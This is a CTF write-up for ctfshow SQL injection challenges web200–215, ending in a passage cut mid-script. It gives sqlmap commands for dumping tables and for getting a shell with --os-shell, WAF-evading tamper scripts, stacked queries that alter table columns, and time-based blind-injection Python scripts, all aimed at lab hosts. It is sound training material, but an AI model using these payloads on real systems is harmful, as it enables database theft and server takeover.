无括号的 sql 数据类型: text .

web200

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

解题

过滤增加了个括号,可以使用上面一题的payload。

方法1 非预期show和泄密账户登录

show的方式

username:0;show tables
password:ctfshow_user

泄密账户的方式

username:0
password:passwordAUTO

方法2 修改字段名

username: 0;alter table ctfshow_user change `username` `pass2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `pass2` `pass` text
password: 0
# 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录
# 注意,交换后用户名就是密码,密码就是用户名
username: 0
password: userAUTO # 这个是前期泄露的用户名

web201–sqlmap

原始信息

sqlmap最新版下载

使用–user-agent 指定agent

使用–referer 绕过referer检查

难度系数

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

题目提示了两个参数,测试后对应的sqlmap命令是这样的:

sqlmap -u "http://xxxx.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show

如果想要进一步测试参数可以修改为:

sqlmap -u "http://xxxx.ctf.show/api/?id=1&page=1&limit=10" -p id --dbs --user-agent=sqlmap --referer=ctf.show

指定ip这个参数去爆破的意思,爆破数据库库名。

下面是完整的,爆破库、表、列值:

sqlmap -u "http://29c993d5-706b-4205-8ada-11dd3f81deef.challenge.ctf.show/api/?id=1&page=1&limit=10" -p id -D ctfshow_web -T ctfshow_user -C pass --dump --user-agent=sqlmap --referer=ctf.show

把参数稍微分割下就是:

sqlmap 
# 指定网址
-u "http://29c993d5-706b-4205-8ada-11dd3f81deef.challenge.ctf.show/api/?id=1&page=1&limit=10"
-p id # 指定爆破参数为id
-D ctfshow_web # 指定库
-T ctfshow_user # 指定表
-C pass --dump # 指定列 获取值
--user-agent=sqlmap # 指定UA
--referer=ctf.show # 指定来源url

同样的,可以使用python的其它脚本进行爆破,但是这题的考点是sqlmap,推荐使用吧。

web202

原始信息

sqlmap最新版下载

使用–data 调整sqlmap的请求方式

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

同样是sqlmap,两种处理方式:

方法1

BP截取下POST数据包:

POST /api/ HTTP/1.1
Host: a8e49a84-6eb2-4340-beea-4a6855277ad2.challenge.ctf.show
User-Agent: sqlmap
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a8e49a84-6eb2-4340-beea-4a6855277ad2.challenge.ctf.show
Connection: close
Referer: ctf.show
Upgrade-Insecure-Requests: 1

id=1&page=1&limit=10

使用sqlmap一把梭:

┌──(kali㉿kali)-[~]
└─$ sqlmap -r post.txt -p id -D ctfshow_web -T ctfshow_user --dump --referer=ctf.show --user-agent=sqlmap

方法2

sqlmap -u "http://xxx.xxx.xxx/api" --data "id=1" -p id -D ctfshow_web -T ctfshow_user --dump --referer=ctf.show --user-agent=sqlmap

还有一种办法是自己写脚本。

多了:

--data "id=1"		#指定Post数据

web203

原始信息

sqlmap最新版下载

使用–method 调整sqlmap的请求方式

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

使用sqlmap进行爆破,相比于上面的请求方式,需要添加两个新的方法:

--header=Content-Type:text/plain # 指定文件头
--metnod=PUT # 指定请求方式

整合为一句SQLmap就是:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://0b07b09a-9785-4cac-a039-53f1e8295f08.challenge.ctf.show/api/index.php" --data "id=1" --method=PUT --header=Content-Type:text/plain --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web204

原始信息

sqlmap最新版下载

使用–cookie 提交cookie数据

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

这道题目提示的是cookie,需要在浏览器打开题目后F12查看当前网页的cookie是什么,然后放入参数。下面是参考payload:

sqlmap -u "http://0f335128-02ea-429c-af84-331cace9914f.challenge.ctf.show/api/index.php" --data "id=1" --referer=ctf.show --method=PUT --user-agent=sqlmap --cookie="ctfshow=3e4c54cd5f517bba55ffaddfdce4fb81;PHPSESSID=hhj55l030o8mt315pl3aj31b7c" --header=Content-Type:text/plain -D ctfshow_web -T ctfshow_user --dump

拆解:

sqlmap -u "http://0f335128-02ea-429c-af84-331cace9914f.challenge.ctf.show/api/index.php" 
--data "id=1"
--referer=ctf.show
--method=PUT
--user-agent=sqlmap
--cookie="ctfshow=3e4c54cd5f517bba55ffaddfdce4fb81;PHPSESSID=hhj55l030o8mt315pl3aj31b7c"
--header=Content-Type:text/plain
-D ctfshow_web
-T ctfshow_user
--dump

多了:

--cookie="ctfshow=3e4c54cd5f517bba55ffaddfdce4fb81;PHPSESSID=hhj55l030o8mt315pl3aj31b7c" 

web205

原始信息

sqlmap最新版下载

api调用需要鉴权

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where id = '".$_GET['id']."';";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

对应的payload:

sqlmap -u "http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/index.php" --data "id=1" --safe-url="http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer=ctf.show --method=PUT --user-agent=sqlmap --cookie="PHPSESSID=kf2gjjekolf3p2pv5ocg8cphfi" --header=Content-Type:text/plain -D ctfshow_web -T ctfshow_flax --dump

拆解:

sqlmap -u "http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/index.php" 
--data "id=1"
--safe-url="http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/getToken.php"
--safe-freq=1
--referer=ctf.show
--method=PUT
--user-agent=sqlmap
--cookie="PHPSESSID=kf2gjjekolf3p2pv5ocg8cphfi"
--header=Content-Type:text/plain
-D ctfshow_web -T ctfshow_flax
--dump

多了:

# 1次访问鉴权链接
--safe-url="http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/getToken.php"
--safe-freq=1

web206

原始信息

sqlmap最新版下载

sql需要闭合

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

这次是sql注入的语句变了。

给它设置了单引号和括号作为限制,这次的注入如下:

sqlmap -u "http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/index.php" --data="id=1" -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=oc1jea9u755ggv85tnqcf453pp" --header=Content-Type:text/plain --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

拆解:

sqlmap -u "http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/index.php" 
--data="id=1"
-p id
--referer=ctf.show
--user-agent=sqlmap
--method=PUT
--safe-url="http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/getToken.php"
--safe-freq=1 -
-cookie="PHPSESSID=oc1jea9u755ggv85tnqcf453pp"
--header=Content-Type:text/plain
--prefix="')"
--suffix="#"
-D ctfshow_web -T ctfshow_flaxc --dump

新增的参数:

--prefix="'')"		#注入句子的前缀,也就是左边部分的闭合
--suffix="#" #注入句子的后缀,也就是右边句子的闭合

注:基本上是先查表,再查值,不是凭空有表的。

可以使用 -D ctfshow_web --tables 查出表。

web207

原始信息

sqlmap最新版下载

–tamper 的初体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}

解题

空格被过滤了,调用插件进行绕过。

--temper 是用来调用插件的。

sqlmap -u "http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/index.php" --data="id=1" -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=nefcc5lecojdi2lt0tmmhb82g3" --header=Content-Type:text/plain --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxca --dump

拆解:

sqlmap -u "http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/index.php" 
--data="id=1" -p id
--referer=ctf.show --user-agent=sqlmap --method=PUT
--safe-url="http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/getToken.php"
--safe-freq=1
--cookie="PHPSESSID=nefcc5lecojdi2lt0tmmhb82g3"
--header=Content-Type:text/plain
--prefix="')" --suffix="#"
--tamper=space2comment
-D ctfshow_web -T ctfshow_flaxca --dump

其中,指定的是绕过空格限制的插件:

--tamper=space2comment 

web208

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回逻辑

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}

解题

过滤空格+过滤关键字(双写过滤或者大小写过滤)

sqlmap -u "http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/index.php" --data='id=1' -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=7fougrt46og3k2k6mms0rj7ru4" --header=Content-Type:text/plain --prefix="')" --suffix="#" --tamper=randomcase,space2comment -D ctfshow_web -T ctfshow_flaxcac --dump

拆解如下:

sqlmap -u "http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/index.php" 
--data='id=1' -p id
--referer=ctf.show --user-agent=sqlmap
--method=PUT --safe-url="http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/getToken.php" --safe-freq=1
--cookie="PHPSESSID=7fougrt46og3k2k6mms0rj7ru4"
--header=Content-Type:text/plain
--prefix="')" --suffix="#"
--tamper=randomcase,space2comment # 采用大小写+空格绕过脚本进行逃过
-D ctfshow_web -T ctfshow_flaxcac --dump

如果是双写绕过,就必须得自己去写一个脚本。自带脚本中没符合条件的脚本。

web209

原始信息

sqlmap最新版下载

–tamper 的3体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

解题

原本的过滤空格的脚本不能用了,并且得注意*和=这两种字符限制。

sqlmap -u "http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/index.php" --data "id=1"  -p id --referer "ctf.show" --user-agent "sqlmap" --method=PUT --header "Content-Type: text/plain" --safe-url="http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=p5iu0fer20qehd9h13qehcqs4d" --thread=10 --tamper "doubleSelect2" -D ctfshow_web -T ctfshow_flav --dump

拆解如下:

sqlmap 
-u "http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/index.php"
--data "id=1"
-p id
--referer "ctf.show"
--user-agent "sqlmap"
--method=PUT
--header "Content-Type: text/plain"
--safe-url="http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/getToken.php"
--safe-freq=1 --cookie="PHPSESSID=p5iu0fer20qehd9h13qehcqs4d"
--thread=10
--tamper "doubleSelect2"
-D ctfshow_web -T ctfshow_flav --dump

而doubleSelect2的插件内容如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = retVal.replace(' ',chr(0x0a))
retVal = retVal.replace('=',chr(0x0a)+'like'+chr(0x0a))


return retVal

这次没有指定过滤select了。

脚本2–其它博主的插件

上面是脚本1,这个是取自其它博主的插件脚本:

#!/usr/bin/env python
"""
Author:孤桜懶契
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09,=号换like")

def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload

def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x09) + 'like' + chr(0x09)
continue

elif payload[i] == "*":
retVal += chr(0x31)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal

具体过滤绕过方式/限制方式

# 绕过空格限制的方案 
chr(0x0a) # 换行绕过
chr(0x09) # 制表符绕过

# 绕过等于号的操作
chr(0x09)+'like'+chr(0x09) # 使用空格字符+like进行绕过

web210

原始信息

sqlmap最新版下载

–tamper 的4体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

解题

解题如下:

sqlmap -u "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --header "Content-Type: text/plain" --tamper "doubleSelect3" --safe-url "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/getToken.php" --cookie "PHPSESSID=p99bbqmls2uh7dr1eukpmda12e" --method "PUT" --data "id=1" -p id --thread=10 --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump

拆解如下:

sqlmap -u "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/index.php" 
--referer "ctf.show"
--user-agent "sqlmap"
--header "Content-Type: text/plain"
--tamper "doubleSelect3"
--safe-url "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/getToken.php"
--cookie "PHPSESSID=p99bbqmls2uh7dr1eukpmda12e"
--method "PUT"
--data "id=1"
-p id
--thread=10
--safe-freq=1
-D ctfshow_web
-T ctfshow_flavi
--dump

对应的插件 doubleSelect3 内容:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
pass

def encode(a):
a1 = a.encode('utf-8')[::-1]
a2 = base64.b64encode(a1)[::-1]
a3 = base64.b64encode(a2)
return a3.decode('utf-8')

def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = encode(retVal)

return retVal

其中核心函数是这个,是对应上面php的反函数。

import base64

def encode(a):
a1 = a.encode('utf-8')[::-1]
a2 = base64.b64encode(a1)[::-1]
a3 = base64.b64encode(a2)
return a3.decode('utf-8')

web211

原始信息

sqlmap最新版下载

–tamper 的5体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}

解题

payload如下:

sqlmap -u "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=nnu00gqpmvheonprhdqi36s4d3" --tamper "space2comment,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_flavia --dump

拆解如下:

sqlmap -u "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/index.php" 
--referer "ctf.show"
--user-agent "sqlmap"
--method "PUT"
--header "Content-Type: text/plain"
--safe-url "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/getToken.php"
--safe-freq=1
--cookie "PHPSESSID=nnu00gqpmvheonprhdqi36s4d3"
--tamper "space2comment,doubleSelect3"
--thread=10
--data "id=1"
-p id
-D ctfshow_web
-T ctfshow_flavia
--dump

这里插件 doubleSelect3 的内容和上一道题目一样,而 space2commentsqlmap 自带的空格替换脚本。

web212

原始信息

sqlmap最新版下载

–tamper 的6体验

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}

解题

对应的payload:

sqlmap -u "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=hvuvn395uososd4l6dtivqcrag" --tamper "doubleSelect2,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_flavis --dump

拆解如下:

sqlmap -u "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/index.php" 
--referer "ctf.show"
--user-agent "sqlmap"
--method "PUT"
--header "Content-Type: text/plain"
--safe-url "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/getToken.php"
--safe-freq=1
--cookie "PHPSESSID=hvuvn395uososd4l6dtivqcrag"
--tamper "doubleSelect2,doubleSelect3"
--thread=10
--data "id=1"
-p id
-D ctfshow_web
-T ctfshow_flavis
--dump

两个插件脚本如下(也就是之前写题的脚本):

doubleSelect2.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = retVal.replace('-- -','#')
retVal = retVal.replace(' ',chr(0x0a))
retVal = retVal.replace('=',chr(0x0a)+'like'+chr(0x0a))


return retVal

doubleSelect3.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
pass

def encode(a):
a1 = a.encode('utf-8')[::-1]
a2 = base64.b64encode(a1)[::-1]
a3 = base64.b64encode(a2)
return a3.decode('utf-8')

def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = encode(retVal)

return retVal

web213

原始信息

sqlmap最新版下载

练习使用–os-shell 一键getshell

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}

解题

这次是反弹shell,如果是按照上一道题目的payload是能直接出库的,但是要求是反弹shell,思考其它方法。

sqlmap -u "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=vbmv8jgp739bbhen98d14dpn9c" --tamper "doubleSelect2,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_user --os-shell

进去后全部默认,转到反弹的shell,通过cat去获取根目录的flag即可。

sqlmap 
-u "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/index.php"
--referer "ctf.show"
--user-agent "sqlmap"
--method "PUT"
--header "Content-Type: text/plain"
--safe-url "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/getToken.php"
--safe-freq=1
--cookie "PHPSESSID=vbmv8jgp739bbhen98d14dpn9c"
--tamper "doubleSelect2,doubleSelect3"
--thread=10
--data "id=1"
-p id -D ctfshow_web -T ctfshow_user
--os-shell

上面两个插件依旧沿用上一道题的插件即可。

web214–时间盲注

原始信息

开始基于时间盲注

查询语句

//无

返回逻辑

//屏蔽危险分子

解题

啥都没有的情况,刷新页面看抓包信息,抓到一个敏感数据包:

POST /api/ HTTP/1.1
Host: 6e127c7d-8aac-4895-b9bc-347848f17a0d.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20
Origin: http://6e127c7d-8aac-4895-b9bc-347848f17a0d.challenge.ctf.show
Connection: close
Referer: http://6e127c7d-8aac-4895-b9bc-347848f17a0d.challenge.ctf.show/index.php
Cookie: PHPSESSID=jq29mbfflirbma38u1sr7u5i3f

ip=127.0.0.1&debug=0

得到明显的注入点:

ip=127.0.0.1&debug=0

尝试修改ip,得到正确的延时回显:

ip=if(1,sleep(5),1)&debug=0

开始测表:

ip=if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1)='a',sleep(5),1)&debug=0

使用bp爆破,对应的注点在 a,以及a左边算起第二个1。

爆出来的表名字:ctfshow_info,ctfshow_flagx

再尝试去爆字段:

ip=if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagx')),1,1)='a',sleep(5),1)&debug=0

爆破出来的列名:id,flaga,info

如果是另外一张表:id,ip,cname

最后尝试爆出flag:

ip=if(mid((select(group_concat(flaga))where(ctfshow_flagx)),1,1)='a',sleep(5),1)&debug=0

这个flag关键字明显被过滤了,使用堆叠去注入他的表名:

# 改了半天,下面这个是正确的
#直接堆叠,再获取flag列的值。致命的弱点在于空格限制。
if(substring((select group_concat(una) e from (select 1,'una',3 union select * from test1) a),5,1)='a',sleep(3),1)
ctfshow{2ae0af79-57de-45c5-91ed-cb573e5da40d}

如果是脚本跑的话……可以参考下面,Burp速度虽然快,但是flag要自己手动拼接。而下面的脚本,速度虽然慢,但会主动拼接脚本:

# coding=utf-8
import requests,time
def GetData(url,payload,flag="",start=1,end=50,flagStrDict="{}ctfshow-0123456789abdegijklmnpqruvxyz"):
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url,
"Cookie": "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f",
}
for i in range(start,end):
mf = 0
for mid in flagStrDict:

data = {
"ip":payload.format(i,mid),
"debug":1
}

t = time.time()
req = requests.post(url=urls, headers=headers, data=data)
endTime = time.time() - t
time.sleep(0.3)
print(f"find time: {endTime} s \t and find payload: {payload.format(i,mid)}")
if endTime >= 3:
flag += mid
print(flag)
break
else:
mf += 1
# print(payload.format(i,mid))
if mf == len(flagStrDict):
print("flag is :"+flag)
break
# print(req.content)

if __name__ == "__main__":
# find database/tables/columns
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "{}ctfshow-0123456789abdegijklmnpqruvxyz"

def web214():
url = "http://7959807f-42f7-48f2-b2fe-ff5b2f8338eb.challenge.ctf.show/"
# find tables
payload1 = "if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',sleep(3),1)"
# find columns
payload2 = "if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagx')),{},1)='{}',sleep(3),1)"
# find flag
payload3 = "if(substring((select group_concat(una) e from (select 1,'una',3 union select * from test1) a),{},1)='{}',sleep(3),1)"
GetData(url,payload=payload1,flagStrDict=flagStrDict1)
GetData(url,payload=payload2,flagStrDict=flagStrDict1)
GetData(url,payload=payload3,flagStrDict=flagStrDict2,start=5,end=55)

web214()


这个脚本因为是单线程爆破,很大程度上会受到网络波动的影响。最好就放BP进行快爆吧。

上面的payload3是爆破flag的,但是……总是失效,具体原因不知道,但确实是爆出来flag过 ╮(╯_╰)╭

稍微改装了下脚本:

import requests,time


def GetData2(url,payload,flag="",timeout=3,start=1,end=50,flagStrDict="{}ctfshow-0123456789abdegijklmnpqruvxyz"):
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url,
"Cookie": "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f",
}
for i in range(start,end):
mf = 0
for mid in flagStrDict:

data = {
"ip":payload.format(i,mid),
"debug":1
}

try:
t = time.time()
req = requests.post(url=urls, headers=headers, data=data,timeout=timeout)
endTime = time.time() - t
time.sleep(0.3)
mf += 1
print(f"find time: {int(endTime)} s \t and find payload: {payload.format(i,mid)}")
except Exception as e:
flag += mid
print(flag)
break

# print(payload.format(i,mid))
if mf == len(flagStrDict):
print("flag is :"+flag)
break

if __name__ == "__main__":
# find database/tables/columns
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "{}ctfshow-0123456789abdegijklmnpqruvxyz"

def web214():
url = "http://13f1f1cf-dc0b-44ec-ac58-65536d39760f.challenge.ctf.show/"
# find tables
payload1 = "if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',sleep(3),1)"
# find columns
payload2 = "if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagx')),{},1)='{}',sleep(3),1)"
# find flag
payload3 = "if(substring((select flaga from ctfshow_flagx),{},1)='{}',sleep(3),1)"
# GetData2(url,payload=payload1,flagStrDict=flagStrDict1)
# GetData2(url,payload=payload2,flagStrDict=flagStrDict1)
GetData2(url,payload=payload3,flagStrDict=flagStrDict2,start=1,end=55)

web214()

web215

原始信息

开始基于时间盲注

查询语句

//用了单引号

返回逻辑

//屏蔽危险分子

解题

测试的时候不是过滤了单引号,而是新增了单引号。

下面是脚本:

# coding=utf-8
import requests,time

def GetData2(url,payload,flagStrDict,flag="",timeout=3,start=1,end=50,mode=1):
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url,
"Cookie": "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f",
}
